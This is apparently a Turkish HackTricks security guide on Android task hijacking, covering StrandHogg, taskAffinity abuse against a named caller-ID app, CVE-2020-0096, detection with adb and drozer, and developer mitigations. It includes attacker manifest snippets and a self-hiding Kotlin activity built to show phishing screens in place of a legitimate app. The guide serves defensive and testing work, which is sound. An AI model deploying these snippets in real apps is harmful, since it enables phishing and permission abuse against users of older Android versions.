Android Görev Ele Geçirme

Reading time: 7 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Görev, Geri Yığın ve Ön Planda Olan Aktiviteler

Android'de bir görev, kullanıcıların belirli bir işi tamamlamak için etkileşimde bulunduğu aktivitelerin bir setidir ve bir geri yığın içinde organize edilmiştir. Bu yığın, aktiviteleri açıldıkları zamana göre sıralar; en son açılan aktivite en üstte ön planda olan aktivite olarak görüntülenir. Her an, yalnızca bu aktivite ekranda görünür ve bu nedenle ön planda olan görev'in bir parçasıdır.

Aktivite geçişlerinin hızlı bir özeti:

  • Aktivite 1, ön planda tek aktivite olarak başlar.
  • Aktivite 2'yi başlatmak, Aktivite 1'i geri yığına iterek Aktivite 2'yi ön plana getirir.
  • Aktivite 3'ü başlatmak, Aktivite 1 ve Aktivite 2'yi yığında daha geriye taşır; Aktivite 3 artık ön plandadır.
  • Aktivite 3'ü kapatmak, Aktivite 2'yi tekrar ön plana getirir ve Android'in akıcı görev navigasyon mekanizmasını sergiler.

https://developer.android.com/images/fundamentals/diagram_backstack.png


Görev yakınlığı saldırıları

taskAffinity, Android'e bir Activity'nin hangi göreve tercih ettiğini söyler. İki aktivite aynı yakınlığa sahip olduğunda, Android bunları farklı APK'lerden gelseler bile aynı geri yığında birleştirmeye izin verir.

Eğer bir saldırgan, o yığının köküne kötü niyetli bir aktivite yerleştirebilirse, kurban meşru uygulamayı her açtığında, kullanıcıya ilk olarak kötü niyetli arayüz gösterilecektir – bu, kimlik avı veya kötüye kullanım izin talepleri için mükemmeldir.

Saldırı yüzeyi, birçok geliştiricinin düşündüğünden daha geniştir çünkü her aktivite otomatik olarak uygulama paket adıyla eşit bir yakınlık miras alır (geliştirici android:taskAffinity="" ayarlamadıkça). Bu nedenle hiçbir şey yapmamak, Android 11'den önceki sürümlerde uygulamanın görev ele geçirmeye açık kalmasına neden olur.

Klasik "singleTask / StrandHogg" senaryosu

  1. Saldırgan, aşağıdaki gibi bir aktivite tanımlar:
xml
<activity android:name=".EvilActivity"
android:exported="true"
android:taskAffinity="com.victim.package"
android:launchMode="singleTask" >
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
  1. Kötü niyetli uygulama bir kez başlatılır, böylece (sahte yakınlığa sahip) görev son görevler arasında var olur.
  2. Kullanıcı daha sonra gerçek uygulamayı açtığında, Android zaten kök yakınlığı paketiyle eşleşen bir görev bulur ve o görevi ön plana getirir.
  3. Saldırganın arayüzü ilk olarak gösterilir.

Varsayılan–Yakınlık (no singleTask) varyantı – Arayan Kimliği vaka çalışması

Arayan Kimliği (caller.id.phone.number.block) uygulamasında bildirilen zafiyet, saldırının aynı zamanda varsayılan standard başlatma moduna karşı da çalıştığını göstermektedir:

  1. Saldırgan uygulama sahte bir kök aktivite oluşturur ve hemen kendini gizler:
kotlin
class HackActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
moveTaskToBack(true)   // görevi son görevlerde tut ama görünmez yap
}
}
  1. Manifest, yalnızca kurban paketini taskAffinity'ye kopyalamayı gerektirir:
xml
<activity android:name=".HackActivity"
android:exported="true"
android:taskAffinity="com.caller.id.phone.number.block" >
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
  1. Kullanıcı kötü niyetli uygulamayı bir kez yükleyip açtığında, kurban paketine eşit bir yakınlığa sahip bir görev var olur (ama arka planda kalır).
  2. Gerçek Arayan Kimliği uygulaması başlatıldığında, Android o görevi yeniden kullanır ve HackActivity'yi ön plana getirir → kimlik avı penceresi/izin kötüye kullanımı.

NOT: Android 11 (API 30) ile birlikte sistem, varsayılan olarak aynı UID'nin parçası olmayan iki paketi aynı göreve yerleştirmemektedir; bu, bu belirli varyantı hafifletmektedir. Eski sürümler hala savunmasızdır.


StrandHogg 2.0 (CVE-2020-0096) – Yansıma tabanlı görev ele geçirme

Google'ın Mayıs 2020 güvenlik bülteni, StrandHogg 2.0 olarak adlandırılan daha gelişmiş bir varyantı düzeltmiştir. Sömürü, hiçbir şekilde taskAffinity'ye dayanmaz; bunun yerine, saldırganın aktivitesini her çalışan görevin en üstüne dinamik olarak eklemek için yansıma kullanır ve Android 11 tarafından tanıtılan "paylaşılan-UID" kısıtlamasını tamamen atlar.

Ana noktalar:

  • Sıfır izinli kötü niyetli bir uygulama, açıldığında çalışan görevler üzerinde yineleme yapabilir ve kendi aktivitesini herhangi bir göreve yeniden ebeveyn yapmak için gizli API'leri çağırabilir.
  • Aktivite çalışma zamanından sonra eklendiği için, ne launchMode ne de statik manifest analizi saldırıyı önceden tespit edebilir.
  • Android 8.0/8.1/9'a bir kontrol ekleyerek yamanmıştır (Mayıs 2020 SPL). Android 10 ve sonrası etkilenmez.

Yamanmamış cihazlarda tespit, adb shell dumpsys activity activities ile yapılabilir ve görevlerin yakınlığı ile paket adı farklı olan şüpheli aktiviteleri izleyerek gerçekleştirilebilir.

Eski cihazlar için hafifletme, klasik Görev Ele Geçirme ile aynıdır artı çalışma zamanı doğrulaması (örneğin, ActivityManager#getRunningTasks çağrısı yaparak ve kendi paket adınızı doğrulayarak).


Tespit & Sömürü kontrol listesi

  1. Statik inceleme – Hedef APK'dan AndroidManifest.xml'yi çekin ve her <activity> (veya global <application> öğesinin) android:taskAffinity="" (boş) veya özelleştirilmiş bir değer içerip içermediğini kontrol edin. Araçlar şunlardır:
bash
# apkanalyzer (Android SDK) kullanarak
apkanalyzer manifest print app.apk | grep -i taskaffinity

# AXMLPrinter2 kullanarak
java -jar AXMLPrinter2.jar AndroidManifest.xml | grep taskAffinity
  1. Dinamik inceleme – Cihazda hedef uygulamayı açın ve görevleri listeleyin:
bash
adb shell dumpsys activity activities | grep -A3 "TASK" | grep -E "Root|affinity"

Kök yakınlığı kurban paketine eşit olan ancak en üstteki aktivitesi farklı bir pakete ait olan bir görev, bir kırmızı bayraktır. 3. Yukarıda açıklandığı gibi kötü niyetli bir uygulama oluşturun veya Drozer kullanın:

bash
drozer console connect
run app.activity.start --component com.victim/.MainActivity --action android.intent.action.MAIN
run app.activity.info com.victim

Hafifletme

Geliştiriciler şunları yapmalıdır:

  • <application> seviyesinde android:taskAffinity=""'yi açıkça ayarlamak (önerilir) veya her aktiviteye benzersiz, özel bir yakınlık vermek.
  • Son derece hassas ekranlar için, yukarıdakileri android:launchMode="singleInstance" veya modern setLaunchMode korumaları ile birleştirin.
  • Uygulamanın targetSdkVersion'ını yükseltin ve görevlerin varsayılan olarak paketler arasında paylaşılmadığı Android 11 davranış değişikliklerini zorlayın.
  • Android 12 (API 31) veya daha yüksek hedefleyin, böylece zorunlu android:exported niteliği geliştiricilerin her dışa erişilebilir bileşeni denetlemesini zorlar.
  • Çalışma zamanı kendini savunma düşünün: periyodik olarak ActivityTaskManager'ı sorgulayarak en üstteki aktivitenizin paketinin kendi paketinizle eşleştiğinden emin olun.

İlgili UI-Ele Geçirme teknikleri

Görev ele geçirme genellikle tapjacking (overlay tabanlı UI aldatmacası) ile birleştirilir veya onunla değiştirilir. 2025 TapTrap araştırması, tamamen şeffaf animasyon destekli aktivitelerin Android 12–14'te tanıtılan overlay-touch kısıtlamalarını aşabileceğini ve kullanıcıları tehlikeli izinler vermeye kandırabileceğini göstermiştir. TapTrap kesinlikle görev ele geçirme olmasa da, nihai hedef (kimlik avı tıklamaları) aynıdır – bu nedenle modern değerlendirmeler her iki saldırı yüzeyini de kontrol etmelidir.


Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin